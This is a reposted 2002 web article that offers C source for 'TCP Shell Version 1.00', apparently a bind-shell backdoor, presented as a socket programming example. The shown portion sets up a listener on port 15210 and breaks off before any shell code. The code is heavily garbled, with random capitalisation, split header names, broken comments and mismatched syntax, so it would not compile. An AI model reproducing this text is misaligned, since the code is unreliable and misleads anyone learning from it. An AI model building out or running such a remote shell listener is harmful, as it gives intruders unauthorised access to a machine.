Source: This article originates from: http://sinbad.zhoubin.com Author: Unknown (2002-12-12-06:02:00)
Simple and easy to find, and learn it as a socket programming example. /**/ /*=============================================================================
TCP Shell Version 1.00
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by Unyun (Unewn4th@usa.net)
=============================================================================
*/
#include < signal.h >
#include < stdio.h >
#include < stdlib.h >
#include < string. h >
#include < sys/types.h >
#include < sys/socket.h >
#include < errno.h >
#include < unistd.h >
#include < netinet/in. h >
#include < limits.h >
#include < netdb.h >
#include < arpa/inet.h >
#define MAX_CLIENTS 5/MAX Client num * * *
#define PORT_NUM 15210/* PORT * *
void Get_connection (Socket_type, port, listener)
int socket_type;
int port;
int * LISTENER;
... {
struct SOCKADDR_IN address;
struct SOCKADDR_IN acc;
int listening_socket;
int connected_socket =-1;
int new_process;
int reuse_addr = 1;
int acclen=sizeof (ACC);
memset ((char *) &address, 0, sizeof (address));
address.sin_family = af_inet;
Address.sin_port = htons (port);
ADDRESS.SIN_ADDR.S_ADDR = htonl (Inaddr_any);
Listening_socket = socket (af_inet, socket_type, 0);
if (Listening_socket < 0) ... {
Perror ("socket");
Exit (1);
}
if (Listener!= NULL) *listener = Listening_socket;
SetSockOpt (LISTENING_SOCKET,SOL_SOCKET,SO_REUSEADDR,
(void *) &reuse_addr,sizeof (REUSE_ADDR));
if (bind (listening_socket, struct sockaddr *) &address,sizeof (address) <0
)... {
Perror ("bind");
Close (Listening_socket);
Exit (1);
}
if (Socket_type = = sock_stream) ... {
if (Listen (Listening_socket, max_clients) ==-1) ... {
Perror ("Listen");
Exit (1);
}
}
}
void Sock_puts (SOCKFD, str)
int sockfd;
char * STR;